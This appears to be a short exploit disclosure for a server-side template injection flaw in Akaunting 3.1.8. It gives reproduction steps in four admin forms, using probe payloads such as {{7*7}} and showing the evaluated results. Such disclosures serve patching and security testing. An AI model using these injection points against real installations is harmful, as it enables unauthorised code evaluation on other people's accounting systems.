Akaunting 3.1.8 Server-Side Template Injection

# Exploit Title: Akaunting 3.1.8 - Server-Side Template Injection (SSTI)# Exploit Author: tmrswrr# Date: 30/05/2024# Vendor: https://akaunting.com/forum# Software Link: https://akaunting.com/apps/crm# Vulnerable Version(s): 3.1.8# Tested : https://www.softaculous.com/apps/erp/Akaunting1 ) Login with admin cred and go to : Items > New Item    https://127.0.0.1/Akaunting/1/common/items2 ) Write SSTI payload : {{7*7}}  Name field , write Sale and Purchase Price random numbers3 ) Save it 4 ) You will be see result :     49    ====================================================================================1 ) Login with admin cred and go to :Settings > Taxes > New Tax    https://127.0.0.1/Akaunting/1/settings/taxes/1/edit2 ) Write SSTI payload : {{7*7}}  Name field , write Sale and Purchase Price random numbers3 ) Save it 4 ) You will be see result :     49    > {{'a'.toUpperCase()}}    > A    > {{'a'.concat('b')}}    > ab====================================================================================1 ) Login with admin cred and go to : Banking > Transactions > New Incomehttps://127.0.0.1/Akaunting/1/banking/transactions/create?type=income2 ) Write SSTI payload : {{7*7}}  Description field3 ) Save it 4 ) You will be see result :     49    > {{'a'.toUpperCase()}}    > A    > {{'a'.concat('b')}}    > ab    =======================================================================================1 ) Login with admin credhttps://127.0.0.1/Akaunting/1/purchases/vendors/1/edit2 ) Write SSTI payload : {{7*7}}  Name field3 ) Save it 4 ) You will be see result :     49    > {{'a'.toUpperCase()}}    > A    > {{'a'.concat('b')}}    > ab